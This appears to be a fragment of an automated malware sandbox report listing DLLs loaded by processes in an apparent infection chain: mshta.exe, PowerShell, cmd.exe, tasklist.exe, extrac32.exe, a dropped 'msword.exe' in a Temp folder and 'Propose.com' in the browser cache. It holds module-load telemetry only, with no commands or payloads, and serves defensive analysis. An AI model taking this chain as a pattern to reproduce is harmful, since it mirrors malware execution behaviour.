Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dcomp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: vbscript.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msls31.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d2d1.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d10warp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxcore.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: jscript9.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: pcacli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: cabinet.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exeSection loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: uxtheme.dll
